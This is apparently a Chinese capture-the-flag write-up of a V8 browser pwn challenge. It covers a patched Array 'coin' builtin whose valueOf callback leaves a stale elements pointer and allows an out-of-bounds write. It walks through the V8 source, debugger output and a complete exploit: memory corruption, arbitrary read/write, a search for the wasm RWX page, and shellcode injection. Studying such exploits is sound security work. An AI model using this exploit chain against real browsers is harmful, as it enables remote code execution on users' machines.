1

数字经济线下-Browser

 2 years ago
source link: https://e3pem.github.io/2019/11/20/browser/%E6%95%B0%E5%AD%97%E7%BB%8F%E6%B5%8E%E7%BA%BF%E4%B8%8B-Browser/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

数字经济线下-Browser

这题是数字经济线下赛的一道RealWorld pwn,很久以前就想调来着,一直拖到了现在,期间遇到了一个困扰了很久的问题,可惜后来还是没有解决。最后是看了别的师傅采用的方法来做的,这里记录一下~

下载地址

在开始分析题目之前得先把环境搭起来,这题没有给出v8的版本,给出的是chromium的commitid,所以我是先把chromium下载下来,然后切换到了题目中给出的f3ee5ef941cb,在该版本下进入到chromium的v8目录下,通过git log来获取当前版本的v8的commitid,获取到的id为0ec93e0472169794。然后按照获取v8并编译出来d8的流程即可。

# 该版本的chromium对应的v8的id
git checkout 0ec93e047216979431bd6f147ab5956bb729afa2

# 编译debug版本的d8
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8

# 编译release版本的包含漏洞的d8
git apply --ignore-space-change --ignore-whitespace ../diff.patch
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release d8

分析题目给出的diff文件,可以发现和starctf里面的OOB很类似,这题是给数组新增了一个coin函数,内容如下:

diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index e6ab965a7e..9e5eb73c34 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -362,6 +362,36 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
}
} // namespace

+// Vulnerability is here
+// You can't use this vulnerability in Debug Build :)
+BUILTIN(ArrayCoin) {
+ uint32_t len = args.length();
+ if (len != 3) {
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+
+ Handle<Object> value;
+ Handle<Object> length;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, length, Object::ToNumber(isolate, args.at<Object>(1)));
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(2)));
+
+ uint32_t array_length = static_cast<uint32_t>(array->length().Number());
+ if(37 < array_length){
+ elements.set(37, value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+ else{
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
+
BUILTIN(ArrayPush) {
HandleScope scope(isolate);
Handle<Object> receiver = args.receiver();

首先判断参数的个数是否为3,除去默认的第0个参数,coin函数中应该需要两个参数。然后将数组的elements保存到局部变量中,接着获取用户输入的第1个参数作为length,第2个参数作为value。最后判断数组的长度是否大于37,是则利用保存在局部变量中的elemets将其第37个元素设置为value的值。

乍一看程序好像没有任何问题,在赋值之前也有判断数组的长度是否大于37,所以对elemets的元素进行赋值的时候应该都是对数组中的元素进行赋值才对!问题就出在Object::ToNumber()这个函数中,该函数可以通过valueOf触发callback回调,在回调函数中重新设置数组的length,就可以让数组重新分配elements的内存空间。

这会产生什么问题呢?试想如果最开始让数组的长度小于37,回调函数中将其设置为一个大于37的值,这样在判断数组长度的时候是满足大于37这个条件的,但是其中的set操作是对保存在局部变量中的elements进行操作的。由于数组重新分配了elements的空间,所以保存在局部变量中的elements相当于一个已经释放了的指针,对该指针指向的element的第37个元素进行set操作,便是越界写数据!

Object::ToNumber的分析

前面提到漏洞的关键在于Object::ToNumber能触发回调函数,下面从源码的角度来大致分析它是在什么地方触发回调函数的,由于没看过v8的源码,所以这里也只是大致的翻一下源码,如果有错的地方还请大佬们指正。

在vscode中全局搜索Object::ToNumber,找到之后用Go to Definition找到其定义的地方,该函数判断input是否是Number,是则将input返回,否则调用ConvertToNumberOrNumeric函数

// static
MaybeHandle<Object> Object::ToNumber(Isolate* isolate, Handle<Object> input) {
if (input->IsNumber()) return input; // Shortcut.
return ConvertToNumberOrNumeric(isolate, input, Conversion::kToNumber);
}

跟进ConvertToNumberOrNumeric,该函数是一个while循环,依次判断input是否属于Number、String、Oddball、Symbol以及BigInt。如果是则调用对应类的ToNumber函数,都不是则调用最后的JSReceiver::ToPrimitive函数,经过JSReceiver::ToPrimitive函数处理的结果将保存到input中,经while循环再次判断input是否是Number、String等。

// static
MaybeHandle<Object> Object::ConvertToNumberOrNumeric(Isolate* isolate,
Handle<Object> input,
Conversion mode) {
while (true) {
// 判断是否是常见的Number、String等
if (input->IsNumber()) {
return input;
}
if (input->IsString()) {
return String::ToNumber(isolate, Handle<String>::cast(input));
}
if (input->IsOddball()) {
return Oddball::ToNumber(isolate, Handle<Oddball>::cast(input));
}
if (input->IsSymbol()) {
THROW_NEW_ERROR(isolate, NewTypeError(MessageTemplate::kSymbolToNumber),
Object);
}
if (input->IsBigInt()) {
if (mode == Conversion::kToNumeric) return input;
DCHECK_EQ(mode, Conversion::kToNumber);
THROW_NEW_ERROR(isolate, NewTypeError(MessageTemplate::kBigIntToNumber),
Object);
}
// 调用该函数尝试将input转换为更原始的值,然后进入新一轮的循环对新的input进行判断
ASSIGN_RETURN_ON_EXCEPTION(
isolate, input,
JSReceiver::ToPrimitive(Handle<JSReceiver>::cast(input),
ToPrimitiveHint::kNumber),
Object);
}
}

继续跟进JSReceiver::ToPrimitive,会发现这个函数中出现了我们所期望的内容。通过Object::GetMethod从参数receiver中获取一个函数,如果跟进Object::GetMethod也会发现它调用了JSReceiver::GetProperty从receiver中获取属性信息,判断其是否是可以调用的函数isCallable(),并将其返回。最后会用Execution::Call来调用获取到的函数,这应该就是前面提到的调用回调函数的地方了!

// static
MaybeHandle<Object> JSReceiver::ToPrimitive(Handle<JSReceiver> receiver,
ToPrimitiveHint hint) {
Isolate* const isolate = receiver->GetIsolate();
Handle<Object> exotic_to_prim;
//获取receiver中的Method,保存到exotic_to_prim
ASSIGN_RETURN_ON_EXCEPTION(
isolate, exotic_to_prim,
Object::GetMethod(receiver, isolate->factory()->to_primitive_symbol()),
Object);
// 如果不是Undefined
if (!exotic_to_prim->IsUndefined(isolate)) {
Handle<Object> hint_string =
isolate->factory()->ToPrimitiveHintString(hint);
Handle<Object> result;
// 调用获取到的Method,结果保存至result
ASSIGN_RETURN_ON_EXCEPTION(
isolate, result,
Execution::Call(isolate, exotic_to_prim, receiver, 1, &hint_string),
Object);
// 返回result
if (result->IsPrimitive()) return result;
THROW_NEW_ERROR(isolate,
NewTypeError(MessageTemplate::kCannotConvertToPrimitive),
Object);
}
return OrdinaryToPrimitive(receiver, (hint == ToPrimitiveHint::kString)
? OrdinaryToPrimitiveHint::kString
: OrdinaryToPrimitiveHint::kNumber);
}

漏洞利用-1

经过前面的分析,知道可以在ToNumber的回调中增加数组的长度来让其重新分配空间造成一个UAF,如果数组开始的长度小于37的话将会发生越界写。如果越界写的刚好是另一个数组的长度字段,那就有一个很大的数组越界了。

var length = {
valueOf:function(){
return 20000000000000
}
};
var val= {
// 回调函数,新申请一个数组,并重新设置数组长度为0x100
valueOf:function(){
victim=new Array(12).fill(1.1)
array.length = 0x100
return 999999999999999
}
}
let array=[];
array.length=34;
// 会将victim的数组长度覆盖为一个很大的值
array.coin(length,val);

有了数组的越界,按照OOB的利用思路,实现addressOf,通过修改ArrayBuffer的backingstore实现任意地址读写。然后查找wasm的rwx段所在地址,写入shellcode应该就可以实现利用:

var f_addr = addressOf(f);
console.log("f addr: 0x"+hex(f_addr));
var shared_info_addr = read64(f_addr+0x18n)-0x1n;
var wasm_exported_function = read64(shared_info_addr+8n)-1n;
var instance_addr = read64(wasm_exported_function+0x10n)-1n;
var rwx_page_addr = read64(instance_addr+0x88n);
console.log("rwx page addr: 0x"+hex(rwx_page_addr));

但是在这个过程中遇到了一个问题,就是在查找rwx段地址的时候需要多次任意地址读,当我在第二次读的时候便会触发如下所示的错误:

一开始以为是我构造的利用有问题,但是尝试了几次之后发现并没有得到解决,也尝试过换一套模板,但只要是第二次任意地址读就会导致异常。后来又怀疑是因为JIT优化导致的问题,对同一个ArrayBuffer的backingstore写两次会触发异常,那么对不同的ArrayBuffer写会不会解决这个问题呢?我构造了多个ArrayBuffer,每次写的都是不同的ArrayBuffer,但还是一样的问题!

漏洞利用-2

后来看了别的师傅的文章,看到了另外一种利用方式,发现没有出现上面遇到的问题。这个方法的本质是在内存中搜索rwx的地址,大致过程如下:

首先构造如下的对象:

let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 7, 1, 96, 2, 127, 127, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 21, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 8, 95, 90, 51, 97, 100, 100, 105, 105, 0, 0, 10, 9, 1, 7, 0, 32, 1, 32, 0, 106, 11]);
let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {});
let f = wasm_mod.exports._Z3addii;

var vicobj={marker: 1111222233334444, obj: f}
%DebugPrint(vicobj);
readline();

调试可以得知f的地址:

# vicobj的地址
0x2784f3b0f2e1 <Object map = 0x158696e8a909>
# f的地址
0x231280aa1249 <JSFunction 0 (sfi = 0x231280aa1211)>

此时rwx段所在地址为:

gdb-peda$ vmmap
Start End Perm Name
...
0x00001f5814e80000 0x00001f5814ec0000 rw-p mapped
0x0000231280a80000 0x0000231280ac0000 rw-p mapped
0x00002784f3b00000 0x00002784f3b40000 rw-p mapped
0x00002883ffb08000 0x00002883ffb09000 rwxp mapped <==here
0x00002883ffb09000 0x000028843fb08000 ---p mapped
0x00002ebcf3b80000 0x00002ebcf3b96000 rw-p mapped
0x0000300f7a8c0000 0x0000300f7a900000 rw-p mapped
0x000037c4f22c0000 0x000037c4f2300000 rw-p mapped
0x0000391c50f00000 0x0000391c50f01000 rw-p mapped
...

尝试在f所在地址的一定范围内搜索rwx的部分地址0x2883ffb0,确实搜到了一处地方,经验证,该处存放的值就是rwx段的起始地址:

gdb-peda$ find 0x2883ffb0 0x0000231280aa1000 0x0000231280aa3000
Searching for '0x2883ffb0' in range: 0x231280aa1000 - 0x231280aa3000
Found 1 results, display max 1 items:
mapped : 0x231280aa10da --> 0xe1e900002883ffb0
gdb-peda$ x/10xg 0x231280aa10d0
0x231280aa10d0: 0x000055555635caa0 0x00002883ffb08000<==here
0x231280aa10e0: 0x00002784f3b0e1e9 0x00002784f3b0e459
0x231280aa10f0: 0x0000231280a81851 0x0000231280aa1179
0x231280aa1100: 0x000018b8c29804d1 0x000018b8c29804d1
0x231280aa1110: 0x000018b8c29804d1 0x000018b8c29804d1
gdb-peda$ vmmap 0x00002883ffb08000
Start End Perm Name
0x00002883ffb08000 0x00002883ffb09000 rwxp mapped

至此,整个利用思路就清楚了。首先利用数组越界读可获取到f对象的地址,然后把ArrayBuffer的backingstore修改为该地址附近的值,使用dataview.getFloat64()结合偏移可搜索出来rwx段的起始地址,然后将ArrayBuffer的backingstore修改为rwx的起始地址,写入shellcode即可。

完整的利用代码如下:

var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
function exploit(){
let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 7, 1, 96, 2, 127, 127, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 21, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 8, 95, 90, 51, 97, 100, 100, 105, 105, 0, 0, 10, 9, 1, 7, 0, 32, 1, 32, 0, 106, 11]);
let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {});
let f = wasm_mod.exports._Z3addii;

var length = {
valueOf:function(){
return 20000000000000
}
};
var val= {
valueOf:function(){
victim=new Array(12).fill(1.1)
array.length = 0x100
return 999999999999999
}
}

let array=[];
array.length=34;
array.coin(length,val);
var vicobj={marker: 1111222233334444, obj: f}
var victimbuffer=new ArrayBuffer(0x222);

var dataview = new DataView(victimbuffer);
var offset_to_vicobj = 0;
var offset_to_victimbuffer = 0;
for (let i = 0; i < 400; i++) {
let val = f2i(victim[i]);
if (val === 0x430f9534b3e01560n) {
offset_to_vicobj = i +1;
console.log("[+] VictimObj.obj's offset of OOBARR = ",offset_to_vicobj.toString());
break;
}
}

for (let i = 0; i < 400; i++) {
let val = f2i(victim[i]);
if (val === 0x222n) {
offset_to_victimbuffer = i + 1;
console.log("[+] VictimBuf's backing store pointer's offset of OOBARR = ",offset_to_victimbuffer.toString());
break;
}
}

var wasm_addr = f2i(victim[offset_to_vicobj])-0x189n;
var tmp;
console.log('wasm code: ',hex(wasm_addr));
victim[offset_to_victimbuffer] = i2f(wasm_addr);
for(let i=0;i<100;++i){
tmp = f2i(dataview.getFloat64(i*8,true));
if(tmp%0x1000n==0n&&tmp/0x1000n>0x1000n&&((tmp&0x0000ff0000000000n)!=0x7fn)&&(tmp&0xff0000n)){
wasm_addr = tmp;
break;
}
}
console.log('rwx addr: ',hex(wasm_addr));
let shellcode = [
72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5
];

victim[offset_to_victimbuffer] = i2f(wasm_addr);
for(let i=0;i<shellcode.length;++i){
dataview.setUint8(i,shellcode[i]);
// dataview.setFloat64(i*8,i2f(shellcode[i]));
}
f();
}

exploit();

https://xz.aliyun.com/t/6577

http://www.dayjun.top/2019/10/24/%E4%BB%8E0-01%E5%AD%A6%E8%B5%B7%E6%95%B0%E5%AD%97%E7%BB%8F%E6%B5%8E%E7%BA%BF%E4%B8%8B%E8%B5%9BChrome/


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK